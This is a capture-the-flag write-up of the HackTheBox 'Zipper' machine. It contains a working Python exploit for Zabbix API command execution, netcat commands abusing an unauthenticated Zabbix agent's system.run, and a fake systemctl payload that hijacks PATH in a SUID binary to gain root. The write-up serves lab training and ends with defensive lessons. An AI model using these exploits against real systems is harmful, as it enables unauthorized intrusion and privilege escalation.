HTB: Zipper Writeup
Zipper - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Zipper |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.10.108 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Zipper is a hard-rated Linux machine that showcases the security risks of monitoring infrastructure, specifically Zabbix API access and unauthenticated agent command execution. The attack path involves enumerating a Zabbix 3.0 installation, leveraging authenticated API access to achieve RCE within a Docker container, pivoting to the host via an unauthenticated Zabbix Agent, and finally exploiting a relative path vulnerability in a SUID binary to gain root privileges. The machine emphasizes real-world monitoring tool misconfigurations and classic privilege escalation techniques.
TL;DR: Zabbix 3.0 web interface enumeration → API authentication (zapper:zapper) → JSON-RPC script.update/script.execute RCE in Docker container → lateral movement via unauthenticated Zabbix Agent system.run to host → SUID binary relative path hijack → root.
Reconnaissance
Port Scanning
# Full TCP port scannmap -sC -sV -T4 -p- 10.10.10.108Results:
- Port 22 - SSH (OpenSSH)
- Port 80 - Apache httpd 2.4.29
- Port 10050 - Zabbix Agent
Service Enumeration
Web Service (Port 80)
Browsing to http://10.10.10.108 revealed a standard Apache landing page. Directory enumeration or initial reconnaissance would reveal the /zabbix endpoint, which hosts a Zabbix 3.0 monitoring interface.
Accessing http://10.10.10.108/zabbix confirmed the Zabbix installation. The login page displayed the version Zabbix 3.0 and provided options to sign in as a user or guest. Guest access allowed read-only enumeration of the monitoring console, revealing:
- Host: Zabbix (hostid
10105, IP127.0.0.1) - Host: Zipper (hostid
10106, IP172.17.0.1- indicating a Docker network) - User: zapper
Default credentials (admin:zabbix) did not work, but testing weak/common passwords revealed that the account zapper:zapper was valid.
Zabbix Agent (Port 10050)
The Zabbix Agent service on port 10050 is used for passive and active monitoring checks. This port would become crucial during lateral movement.
Vulnerability Assessment
- Weak Credentials: The
zapperaccount used the same value for username and password. - Zabbix API Access: Authenticated users can interact with the JSON-RPC API, including script management functionality.
- Unauthenticated Zabbix Agent: The host’s Zabbix Agent allows unauthenticated
system.runcommands. - SUID Binary with Relative Path: A custom SUID binary calls
systemctlwithout an absolute path.
Initial Foothold
Zabbix API Authentication
Zabbix provides a JSON-RPC API for programmatic interaction. Using the credentials zapper:zapper, I obtained an authentication token:
# Authenticate to the Zabbix APIcurl -i -X POST -H 'Content-type:application/json' -d \'{"jsonrpc":"2.0","method":"user.login","params":{"user":"zapper","password":"zapper"},"auth":null,"id":0}' \http://10.10.10.108/zabbix/api_jsonrpc.phpThe API returned an authentication token that could be used for subsequent requests.
Enumerating Hosts and Scripts
# Enumerate hosts and their interfacescurl -i -X POST -H 'Content-type:application/json' -d \'{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","host"],"selectInterfaces":["interfaceid","ip"]},"auth":"<token>","id":0}' \http://10.10.10.108/zabbix/api_jsonrpc.phpThis confirmed two hosts:
- hostid
10105: Zabbix server (127.0.0.1) - hostid
10106: Zipper (172.17.0.1)
The API also revealed that Zabbix has built-in scripts, including a Ping script with scriptid 1.
Exploitation: API Script Update and Execution (CVE-2016-10134)
Zabbix versions 2.2 through 3.0.3 allow authenticated users to execute arbitrary commands via the script.update and script.execute API methods. This technique is documented in Exploit-DB 39937.
The attack works by:
- Updating an existing script (e.g., the built-in Ping script with
scriptid 1) to contain malicious commands - Executing that script against a target host
#!/usr/bin/env python# Modified exploit based on Exploit-DB 39937import requestsimport json
ZABBIX_ROOT = 'http://10.10.10.108/zabbix'url = ZABBIX_ROOT + '/api_jsonrpc.php'login = 'zapper'password = 'zapper'hostid = '10105' # Target the Zabbix host for initial access
# Authenticatepayload = { "jsonrpc": "2.0", "method": "user.login", "params": {"user": login, "password": password}, "auth": None, "id": 0,}headers = {'content-type': 'application/json'}auth = requests.post(url, data=json.dumps(payload), headers=headers)auth_token = auth.json()['result']
# Command to executecmd = "id"
# Update scriptpayload = { "jsonrpc": "2.0", "method": "script.update", "params": { "scriptid": "1", "command": cmd }, "auth": auth_token, "id": 0,}requests.post(url, data=json.dumps(payload), headers=headers)
# Execute scriptpayload = { "jsonrpc": "2.0", "method": "script.execute", "params": { "scriptid": "1", "hostid": hostid }, "auth": auth_token, "id": 0,}cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)print(cmd_exe.json()["result"]["value"])Running id confirmed command execution as user zabbix inside what appeared to be a Docker container (architecture i686, presence of .dockerenv file).
Establishing a Shell in the Container
The environment had significant limitations:
- Short command execution timeouts (approximately 3 seconds by default)
- Character length restrictions (~255 characters for script commands in Zabbix 3.0)
- Limited shell stability
Despite these constraints, I confirmed the execution context:
# Via the Python exploit[zabbix_cmd]>>: cat /.dockerenv# File exists, confirming Docker container
[zabbix_cmd]>>: uname -m# Output: i686
[zabbix_cmd]>>: ls -la /# Showed /backups directory among others
[zabbix_cmd]>>: whoami# Output: zabbixThe /backups directory would prove critical as a shared mount point between the container and host.
Lateral Movement
Discovering the Pivot Point
Enumeration revealed two key facts:
- Docker Network: The container had IP
172.17.0.2with gateway172.17.0.1 - Shared Directory: The
/backupsfolder was accessible from both the container and the host system
# Check container IP configuration[zabbix_cmd]>>: ip addr# Showed 172.17.0.2
# Test host connectivity[zabbix_cmd]>>: ping -c 1 172.17.0.1# Host is reachableUnauthenticated Zabbix Agent Command Execution
The Zabbix Agent on the host (172.17.0.1:10050) responded to commands without authentication. The agent’s system.run feature allows execution of arbitrary system commands.
# From within the container, test agent access via netcat[zabbix_cmd]>>: echo "system.run[id]" | nc 172.17.0.1 10050# Output: uid=107(zabbix) gid=113(zabbix) groups=113(zabbix)
[zabbix_cmd]>>: echo "system.run[ls -al /]" | nc 172.17.0.1 10050# Output showed /backups exists on host too
[zabbix_cmd]>>: echo "system.run[cat /etc/hostname]" | nc 172.17.0.1 10050# Output: zipper (confirming we're executing on the host)This confirmed command execution as the zabbix user (uid 107) on the host system zipper.
Working Around Timeout Limitations
The Zabbix Agent has a default 3-second timeout for command execution. Reverse shells would disconnect immediately. To work around this, I needed to:
- Stage a payload in the shared
/backupsdirectory (accessible from both container and host) - Execute a command that spawns a background process or daemonizes
Due to Zabbix 3.0’s script command length limitation (~255 characters), longer scripts had to be written in chunks to /backups from the container side, then executed from the host side.
Staging and Executing a Payload
From the container, I created a script in chunks. The agent log mentions “staging a pwn.sh into shared /backups (chunked around Zabbix 3.0’s ~255-char script-command limit)”:
# Example of chunked writing from container[zabbix_cmd]>>: echo "#!/bin/bash" > /backups/pwn.sh[zabbix_cmd]>>: echo "export PATH=/var/tmp:\$PATH" >> /backups/pwn.sh[zabbix_cmd]>>: echo "/home/zapper/utils/zabbix-service" >> /backups/pwn.sh[zabbix_cmd]>>: chmod +x /backups/pwn.shThe script was designed to be executed from the host later. To get interactive access and better enumerate the host, I could read file contents back through the agent:
# Read files from the host via the agent[zabbix_cmd]>>: echo "system.run[cat /etc/passwd]" | nc 172.17.0.1 10050# User zapper exists with home /home/zapper
[zabbix_cmd]>>: echo "system.run[ls -la /home/zapper]" | nc 172.17.0.1 10050# Found utils directory
[zabbix_cmd]>>: echo "system.run[ls -la /home/zapper/utils]" | nc 172.17.0.1 10050# Found zabbix-service binary with SUID bitFor command output that couldn’t be easily retrieved through the agent’s response, I redirected output to files in /backups and read them from the container:
# Execute command on host, save output to shared directory[zabbix_cmd]>>: echo "system.run[find / -perm -4000 2>/dev/null > /backups/suid.txt]" | nc 172.17.0.1 10050
# Read result from container[zabbix_cmd]>>: cat /backups/suid.txt# Output included /home/zapper/utils/zabbix-servicePrivilege Escalation
Analyzing the SUID Binary
The file /home/zapper/utils/zabbix-service was owned by root with the SUID bit set, allowing any user to execute it with root privileges.
# Examine permissions (via agent to host)[zabbix_cmd]>>: echo "system.run[ls -l /home/zapper/utils/zabbix-service]" | nc 172.17.0.1 10050# Output: -rwsr-xr-x 1 root root ... /home/zapper/utils/zabbix-service
# Copy binary to /backups for analysis[zabbix_cmd]>>: echo "system.run[cp /home/zapper/utils/zabbix-service /backups/]" | nc 172.17.0.1 10050
# Examine with strings from container[zabbix_cmd]>>: strings /backups/zabbix-serviceThe strings output revealed the vulnerability:
systemctl daemon-reloadsystemctl start zabbix-agentsystemctl stop zabbix-agentThe binary calls systemctl using a relative path rather than the absolute path /usr/bin/systemctl or /bin/systemctl. This means the system will search for systemctl in the directories specified by the $PATH environment variable, in order.
Relative Path Hijacking
By creating a malicious executable named systemctl and placing it in a directory that appears early in $PATH, we can hijack the execution flow when the SUID binary runs.
The attack strategy:
- Create a malicious
systemctlscript in a world-writable directory (e.g.,/var/tmp) - Prepend that directory to the
$PATHenvironment variable - Execute the SUID binary, which will run our malicious
systemctlas root
Creating the Malicious Payload
The final payload needed to accomplish several things within the timeout constraints:
# Create the malicious systemctl in shared /backups first (from container)[zabbix_cmd]>>: echo '#!/bin/bash' > /backups/systemctl[zabbix_cmd]>>: echo 'cp /root/root.txt /backups/root.txt' >> /backups/systemctl[zabbix_cmd]>>: echo 'cp /home/zapper/user.txt /backups/user.txt' >> /backups/systemctl[zabbix_cmd]>>: echo 'chmod 644 /backups/root.txt' >> /backups/systemctl[zabbix_cmd]>>: echo 'chmod 644 /backups/user.txt' >> /backups/systemctl[zabbix_cmd]>>: chmod +x /backups/systemctl
# Copy to /var/tmp on host[zabbix_cmd]>>: echo "system.run[cp /backups/systemctl /var/tmp/systemctl]" | nc 172.17.0.1 10050[zabbix_cmd]>>: echo "system.run[chmod +x /var/tmp/systemctl]" | nc 172.17.0.1 10050Executing the Exploit
The agent log mentions “drops a malicious /var/tmp/systemctl, prepends /var/tmp to $PATH, and runs the SUID binary”:
# Execute via the agent with modified PATH[zabbix_cmd]>>: echo "system.run[export PATH=/var/tmp:\$PATH && /home/zapper/utils/zabbix-service start]" | nc 172.17.0.1 10050However, due to the complexity of environment variable handling through the agent, the actual implementation used a wrapper script in /backups (as mentioned in the agent log: “Staged a pwn.sh into shared /backups”):
# The pwn.sh script (built in chunks as shown earlier)#!/bin/bashexport PATH=/var/tmp:$PATH/home/zapper/utils/zabbix-service startExecute the wrapper:
[zabbix_cmd]>>: echo "system.run[bash /backups/pwn.sh]" | nc 172.17.0.1 10050When the SUID binary executes systemctl daemon-reload, it searches for systemctl in /var/tmp first (due to the modified $PATH), finds our malicious script, and executes it as root (due to the SUID bit). The malicious script then copies both flags to /backups with world-readable permissions.
Retrieving the Flags
# Read flags from the shared directory[zabbix_cmd]>>: cat /backups/user.txt# User flag retrieved
[zabbix_cmd]>>: cat /backups/root.txt# Root flag retrievedThe hijacked systemctl executed with uid=0(root) privileges, successfully copying both flags into the shared /backups directory where they could be read from the container.
Attack Chain Summary
Port Scan (22, 80, 10050) → Zabbix 3.0 Enumeration (/zabbix) →Credential Discovery (zapper:zapper) → Zabbix API Authentication →script.update + script.execute RCE (Exploit-DB 39937) →Shell as zabbix (Docker Container i686) →Lateral Movement via Unauthenticated Zabbix Agent (system.run on 172.17.0.1:10050) →Command Execution on Host as zabbix (uid 107) →SUID Binary Discovery (/home/zapper/utils/zabbix-service) →Relative Path Hijack (malicious /var/tmp/systemctl) →Root (uid=0) → FlagsTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | Zabbix API interaction and authentication |
python | Modified Exploit-DB 39937 for Zabbix RCE |
netcat | Zabbix Agent command execution (system.run) |
strings | Binary analysis of SUID file |
| Custom scripts | PATH hijacking payload for privilege escalation |
Key Learnings
Techniques Practiced
- Zabbix API enumeration and authentication
- JSON-RPC API exploitation (
script.update/script.execute) - Working within command length and timeout constraints
- Docker container identification and shared volume enumeration
- Unauthenticated Zabbix Agent command execution via
system.run - Lateral movement using shared filesystems
- SUID binary analysis with
strings - Relative path hijacking for privilege escalation
- PATH manipulation in SUID contexts
Lessons Learned
-
Monitoring Infrastructure is High-Value: Systems like Zabbix, Nagios, and Prometheus often have privileged access to all monitored systems. Compromising monitoring infrastructure can lead to widespread access.
-
API Credentials = Code Execution: In Zabbix, administrative API access directly translates to command execution on monitored hosts. The API security model assumes authenticated users are trusted.
-
Zabbix Agent Security: The
system.runfeature in Zabbix Agent is powerful but dangerous. It should be:- Disabled unless absolutely necessary (
EnableRemoteCommands=0) - Protected by authentication/encryption
- Never exposed without proper firewall rules
- Disabled unless absolutely necessary (
-
Docker Shared Volumes as Pivot Points: When containers share volumes with the host, any data written to those locations becomes a communication channel. This is particularly useful when direct network pivoting is difficult.
-
Relative Path Vulnerabilities in SUID Binaries: Any SUID/SGID binary that calls external commands without absolute paths is vulnerable to PATH hijacking. Always use full paths in privileged scripts (e.g.,
/usr/bin/systemctlnotsystemctl). -
Working with Timeouts: When exploiting services with short execution timeouts:
- Stage payloads in accessible locations first
- Use background processes (
&,nohup,disown) - Consider writing output to files for asynchronous retrieval
- Break complex operations into smaller chunks
-
Character Limits in Injection: Zabbix 3.0’s ~255-character limit for script commands required creative solutions like chunked file writing and wrapper scripts.
-
Weak Credentials on Administrative Interfaces: The
zapper:zappercredential demonstrates that even non-root users with monitoring access can be pivoted into full system compromise.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup drew technical context and explanatory detail from the official HackTheBox writeup prepared by egre55 (Document No D19.100.08, 18th February 2019).